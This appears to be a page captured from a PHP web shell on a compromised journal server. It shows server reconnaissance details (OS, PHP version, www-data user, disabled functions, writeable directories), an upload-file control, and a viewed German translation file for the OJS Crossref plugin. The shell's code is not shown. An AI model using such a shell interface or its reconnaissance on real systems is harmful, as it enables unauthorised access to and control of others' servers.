KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/plugins/importexport/crossref/locale/de_DE/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/plugins/importexport/crossref/locale/de_DE/locale.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-09-30T06:56:43-07:00\n"
"PO-Revision-Date: 2020-02-12 15:35+0000\n"
"Last-Translator: Heike Riegler <[email protected]>\n"
"Language-Team: German <http://translate.pkp.sfu.ca/projects/ojs/"
"importexport-crossref/de/>\n"
"Language: de_DE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "plugins.importexport.crossref.displayName"
msgstr "Crossref-Export/Registrierungs-Plugin"

msgid "plugins.importexport.crossref.description"
msgstr "Artikel-Metadaten im Crossref-Format exportieren oder registrieren."

msgid "plugins.importexport.crossref.requirements"
msgstr "Anforderungen"

msgid "plugins.importexport.crossref.requirements.satisfied"
msgstr "Alle Anforderungen des Plugins sind erfüllt."

msgid "plugins.importexport.crossref.error.publisherNotConfigured"
msgstr "Es ist noch kein Verlag konfiguriert! Sie müssen eine publizierende Organisation in <a href=\"{$journalSettingsUrl}\" target=\"_blank\">Zeitschrifteneinstellungen</a> angeben."

msgid "plugins.importexport.crossref.error.issnNotConfigured"
msgstr "Es ist noch keine ISSN der Zeitschrift eingestellt! Sie müssen eine ISSN in den <a href=\"{$journalSettingsUrl}\" target=\"_blank\">Zeitschrifteneinstellungen</a> angeben."

msgid "plugins.importexport.crossref.error.noDOIContentObjects"
msgstr "Artikel sind im DOI-Plugin nicht zur DOI-Vergabe eingetragen, also gibt es keine Möglichkeit zur Ablieferung oder zum Export in diesem Plugin."

msgid "plugins.importexport.crossref.settings.depositorIntro"
msgstr "Die folgenden Angaben werden für eine erfolgreiche Abgabe bei Crossref nötig."

msgid "plugins.importexport.crossref.settings.form.depositorName"
msgstr "Depositor-Name"

msgid "plugins.importexport.crossref.settings.form.depositorEmail"
msgstr "Depositor-E-Mail"

msgid "plugins.importexport.crossref.settings.form.depositorNameRequired"
msgstr "Bitte geben Sie den Depositor-Namen ein."

msgid "plugins.importexport.crossref.settings.form.depositorEmailRequired"
msgstr "Bitte geben Sie die Depositor-E-Mail-Adresse ein."

msgid "plugins.importexport.crossref.registrationIntro"
msgstr "Wenn Sie dieses Plugin benutzen möchten, um Digital Object Identifiers (DOI) direkt bei Crossref zu registrieren, benötigen Sie dazu einen Nutzernamen und ein Passwort (das Sie bei <a href=\"http://www.crossref.org\" target=\"_blank\">Crossref</a> erhalten). Wenn Sie keine eigenen Zugangsdaten haben, können Sie immer noch Metadaten in das Crossref-XML-Format exportieren, aber Sie können Ihre DOI nicht aus OJS heraus bei Crossref registrieren."

msgid "plugins.importexport.crossref.settings.form.username"
msgstr "Benutzer/innenname"

msgid "plugins.importexport.crossref.settings.form.usernameRequired"
msgstr "Bitte geben Sie den Benutzer/innennamen ein, den Sie von Crossref erhalten haben."

msgid "plugins.importexport.crossref.settings.form.automaticRegistration.description"
msgstr "OJS wird die zugewiesenen DOI automatisch an Crossref liefern. Bitte beachten Sie, dass dieser Prozess eine gewisse Zeit nach der Veröffentlichung dauern kann (z.B. abhängig von Ihrer Cronjob-Konfiguration). Sie können nach bisher unregistrierten DOI suchen."

msgid "plugins.importexport.crossref.settings.form.testMode.description"
msgstr "Die Crossref-Test-API (Testumgebung) für die DOI-Ablieferung benutzen. Bitte vergessen Sie nicht, diese Option vor dem Produktivbetrieb abzuwählen."

msgid "plugins.importexport.crossref.issues.description"
msgstr "Hinweis: Nur Ausgaben (aber nicht ihre Artikel) werden hier für Export und Registrierung berücksichtigt."

msgid "plugins.importexport.crossref.status.failed"
msgstr "Fehlgeschlagen"

msgid "plugins.importexport.crossref.status.registered"
msgstr "Aktiv"

msgid "plugins.importexport.crossref.status.markedRegistered"
msgstr "Als aktiv markiert"

msgid "plugins.importexport.crossref.action.register"
msgstr "Ablieferung"

msgid "plugins.importexport.crossref.statusLegend"
msgstr ""
"\n"
"\t\t<p>Ablieferungsstatus:</p>\n"
"\t\t<p>\n"
"\t\t- Nicht abgeliefert: noch kein Ablieferungsversuch für diesen DOI.<br />\n"
"\t\t- Aktiv: Der DOI wurde abgeliefert und wird korrekt aufgelöst.<br />\n"
"\t\t- Fehlgeschlagen: DOI-Ablieferung ist fehlgeschlagen.<br />\n"
"\t\t- Als aktiv markiert: Der DOI wurde manuell als aktiv markiert.\n"
"\t\t</p>\n"
"\t\t<p>Es wird nur der Status des letzten Übermittlungsversuchs angezeigt.</p>\n"
"\t\t<p>Wenn eine Ablieferung fehlgeschlagen ist, beheben Sie bitte die Ursache und versuchen Sie erneut, den DOI zu registrieren.</p>"

msgid "plugins.importexport.crossref.action.export"
msgstr "XML herunterladen"

msgid "plugins.importexport.crossref.action.markRegistered"
msgstr "Als aktiv markieren"

msgid "plugins.importexport.crossref.senderTask.name"
msgstr "Crossref automatic registration task"

msgid "plugins.importexport.crossref.cliUsage"
msgstr ""
"Verwendung:\n"
"{$scriptName} {$pluginName} export [xmlFileName] [journal_path] articles objectId1 [objectId2] ...\n"
"{$scriptName} {$pluginName} register [journal_path] articles objectId1 [objectId2] ...\n"
""

msgid "plugins.importexport.crossref.export.error.issueNotFound"
msgstr "Angegebene Ausgabenkennung \"{$issueId}\" passt zu keiner Ausgabe."

msgid "plugins.importexport.crossref.export.error.articleNotFound"
msgstr "Angegebene Artikelkennung \"{$articleId}\" passt zu keinem Artikel."

msgid "plugins.importexport.crossref.register.success.warning"
msgstr ""
"Die Registrierung war erfolgreich, aber die folgende Warnung ist aufgetreten:"
" '{$param}'."

msgid "plugins.importexport.crossref.register.error.mdsError"
msgstr ""
"Die Registrierung war nicht erfolgreich! Der DOI Registrierungsserver gibt "
"einen Fehler zurück."

msgid "plugins.importexport.crossref.settings.form.validation"
msgstr ""
"XML validieren. Nutzen Sie diese Option für den Download von XML, wenn DOIs "
"per Hand registriert werden."

KUNTUL | JINGKONTOT |